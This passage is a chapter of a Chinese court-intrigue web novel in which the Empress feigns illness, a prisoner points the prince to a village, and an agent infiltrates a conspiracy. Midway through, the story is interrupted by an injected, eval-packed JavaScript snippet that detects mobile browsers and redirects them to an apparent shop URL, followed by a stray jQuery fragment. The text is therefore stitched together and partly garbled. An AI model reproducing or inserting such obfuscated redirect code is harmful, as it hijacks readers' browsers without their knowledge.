长宁宫内,谢芷君换掉了自己的皇后冠服,一身素衣,半阖着眼睛靠在床榻上。
外间响起脚步声,谢芷君顿时伸手扶额,一声呻吟还没出口,人已经到了眼前。
“姨母!”杨湫喊道。
谢芷君顿时睁大了眼睛,惊讶地看着杨湫:“静梧?你怎么来了?”
杨湫急步走到谢芷君面前,才深吸了一口气:“您没事就好,外祖母,外祖母在路上了——”
谢芷君向她身后望去,看见一脸绝望的薇姑姑,心下顿时明了。
“没事,静梧,快坐吧。”谢芷君强撑起微笑,十分无奈。
“姨母。”杨湫抿了抿唇,还是问了出来:“您为何突然就要殿下回宫?”
“就知道瞒不过你。”谢芷君轻轻叹了一声,拉住杨湫的手:“外面乱的很,本宫怕他出事而已。”
杨湫张口欲言,忽然想起自己临走时听皇城司指挥使的那句话,还是沉默下来。
“正巧你来了,留下陪本宫几天好啦。”谢芷君已然是无计可施,只能破罐子破摔:“等瑾儿回来,你们两个就暂时先别离开长宁宫。”
杨湫愕然抬起头:“姨母?”
谢芷君对着她笑笑:“没事,姨母在呢。”
杨湫轻轻颔首,按照谢芷君的吩咐,暂时留在长宁宫小住。
皇城司监牢。
“你胡说什么?”赵瑾惊愕之下直接怒斥道:“皇帝圣誉,岂容你如此污蔑?”
悬息生依旧不死心,仿佛孤注一掷一般,语速飞快:“戏本不是我空穴来风写的,你若是不信,就去京郊槐树村,去找一户王姓的姑婆问问!”
他说完便闭口不言,任凭周围的侍卫怎么威胁也不做声。
赵瑾转身便走,在踏出牢门的时候,脚步微不可查的一顿。
悬息生说出的话到底是不是真的?
他并没有停留,在曹央提心吊胆的跟随之下,一言不发地赶去了长宁宫。
曹央回了皇帝身边复命,至于他说了什么,没有人知晓,只知道当夜,就有两具尸体被丢出皇城司的大牢,扔去了乱葬岗。
京兆尹奉命查封了书局,一场风波就这样消失的无影无踪。
“陛下出手,这事就算这样了结了?”
长宁宫内,杨湫轻轻走出皇后的寝殿,来到了后殿的花园中央。
赵瑾一个人坐在凉亭内,杨湫的脚步未停,径直在他身侧坐下,问出了那句话。
“父皇已经下旨,和当年一模一样的处置方法。”赵瑾叹了口气:“还是让二姐说中了。”
重蹈覆辙,幕后真凶再一次逃脱,消失了。
皇帝完全没有什么深究的意思,将参与散播谣言的人全部找借口清理干净,就算是过了。
“不论是当年调查的案卷,还是悬息生说出的那些话,此事明显没有完结。”
杨湫眉头轻轻蹙起,神色间似有不安:“陛下明知,查清此案才是最好的,为何要选择这么处理?”
赵瑾沉默着摇了摇头,不自觉地捏紧了手中的扇柄。
“姨母不许我们离开,外头到底是什么样,我们心里也没数。”杨湫深吸一口气,抬起眼看着赵瑾:“或许带个话给二姐,让她想办法探问此事。”
“也只能如此了。”赵瑾点点头。
“这件事,真的就这么结束了?”
丞相府中,谢钧乱七八糟地趴在窗前的罗汉床上,手里还捏着一本戏本。
“我好不容易掺和进去,就这么算了?我才刚打听出来一点悬息生的线索——”
“你就别惦记那个悬息生了,皇城司都把那里查封了。”谢岭端坐在案前,手下的笔墨未歇。
“我就是觉得奇怪嘛。”谢钧一个鲤鱼打挺坐了起来:“你从刑部查出来的案卷,五年前就是草草结案。结果呢?五年后一样是草草结案。”
谢岭神色并未变化,仍然沉静:“陛下都下旨了,你再想查也无用。”
谢钧哀叹了一声,倒回了原地:“可我就是觉得——”
“觉得无聊的话,怎么不写你的新戏本?”谢岭随口问道:“你上次的南海记不是写的很好?”
谢钧立马精神一振,难以置信地瞪大眼睛:“你怎么知道?”
谢岭忽然收了声,任凭谢钧怎么撒泼打滚地质问,也不肯张嘴。
“行,不说就不说,迟早我会找出那个出卖我的人。”谢钧没讨到便宜,气急败坏地发誓。
见大哥又不出声,谢钧站起身来活动筋骨,看着谢岭摊在桌上的一叠草纸:“这是什么?河洛什么,什么——你什么时候开始管河洛的事了?”
“不是我的,是温兄转交给我的。”谢岭道。
“温?”谢钧一拍脑袋:“两年前那个跟你同榜的进士温鸣?他上京城了?”
谢岭点点头,放下了手里的笔,揉了揉眼睛:“温兄现在是河洛知府,上京有公务交接,我那日恰好在栖芜阁遇到他。”
“那可是最受贵胄子弟青睐的茶馆,谁在那里请他啊?”谢钧似乎嗅到了什么不同寻常的味道:“你跟他见面,没说什么吧?”
“没有,这东西是我去驿馆拜访他的时候,他转交给我的。希望我能给祖父。”
谢岭话音刚落,谢钧便伸手抽走了那本手记:“你这位温兄,平时有做手记的习惯啊?”
“是,听说康王殿下和三表妹在河洛查案的时候,也是因为他的手记才找到了陈骊等人的罪证。”谢岭道。
谢钧撇撇嘴:“祖父怎么说?”
“他老人家没说什么,只是让我收好。”谢岭说完,神色间有些纠结:“我总有些在意。”
“祖父浸淫官场多年,肯定有他的道理。”谢钧伸了个懒腰:“困死了,我要去休息了。”
“你别去瓦市街了,那里又不安全,谢钧?”
回应他的只有一阵风响,和一道窜上墙头的背影。
翌日早朝之后,杨湫正在偏殿插花,听闻宫女来报,杨监正前来探望皇后娘娘。
“二姐!”杨湫的心情激动起来,连忙扔下花剪,快步跑了出去:“二姐,你来啦?”
杨鸢猜测谢芷君的病症有几分古怪,又听相府的人说起当时的事,立刻决定进宫见杨湫一面。
“长话短说吧,你是不是想知道外面的事?”
杨鸢一走进偏殿,便开门见山,将外头的事都说了一遍。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524883|203441||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听见皇帝选择草草揭过的时候,杨湫还是扼腕叹息道:“分明这就是就出那个幕后黑手的最好机会——”
“的确算好,但也算不上最好。”杨鸢不便透露太多,也只能如此安慰妹妹。
杨湫默然不语。
“二姐,我和殿下被困在这里,书局那边如何了?”
杨湫忽然想起赵瑾之前偶尔提过的事情:“殿下说周大人曾经冒名顶替悬息生,他那边有何进展?”
杨鸢迟疑了一瞬,才缓缓说道:“我不知道他在哪里。”
“什么?”杨湫疑心自己听错了:“二姐怎么会不知道?难道他没有告诉你?”
杨鸢摇摇头:“他只说要去查一件事,这几日称病,并不在我府中。”
“原来如此。”杨湫心头浮现了一点不好的预感:“希望他能带来些新消息吧。”
皇后的这场‘急症’延宕了五六日才堪堪痊愈。
直到皇帝那边再没有传出任何风声,谢芷君才放下心来,解开了长宁宫的封禁。
京郊,槐树村。
“谁啊?”一个年轻的庄稼汉打开了门:“你找谁啊?”
周瑄拿出一个金色的面具,上面画着荧惑星象:“主子让我来问,鱼上钩了,你们准备好了吗?”
他手里拿着悬息生的面具,年轻人神色顿时郑重起来:“进来吧,主子有什么指示?”
“济民堂暴露了,按照计划,已经引着人往这里来了。”
周瑄迈过门槛,看着院中清贫的陈设:“都安排好了?”
“放心吧,保证不会出纰漏。”那年轻人转过头看了他一眼,问道:“主子不是让你自投罗网去么?”
“自投罗网?”周瑄耸耸肩:“这不是来了吗?”
“你知道我们会在这里守株待兔。”书局老板从他背后走出,一把刀横在周瑄颈侧:“你到底是谁派来的?”
“很重要吗?反正你们主子的布置也完蛋了。”周瑄似乎一点也不在意自己被人用刀挟持。
年轻人冷笑一声:“先把他押在这里,我们去找主子请示。”
“你现在过去,也不过是被当成同党抓取斩首示众。”周瑄一副爱莫能助的表情:“如果你们想去的的话,就别怪我没提醒你们了。”
“你到底想做什么?”书局老板手里的刀更用力贴上他的脖颈,恶狠狠地道。
周瑄浑不在意:“我想见你们主子,不过分吧?我能再帮他一把。”
“你说得轻巧,你有什么证据?”书局老板冷声质问道。
枝头上的麻雀叽喳叫了几声,振翅飞远了。
“悬息生说的地点就是这里。”
杨湫翻身下马,眯起眼睛打量着眼前破败的小村落:“他言之凿凿要我们来这里,说不准又是一个陷阱呢?”
“我知道,可我实在是——”
赵瑾深吸了一口气,手里紧握着缰绳:“我的直觉告诉我,他在说假话;但是我又不得不在意。”
“为何?难道真的是因为那戏本?”杨湫欲言又止:“陛下只怕会——”
“父皇会因此起疑心。我明白,可是我只是想知道真相。”赵瑾小声道。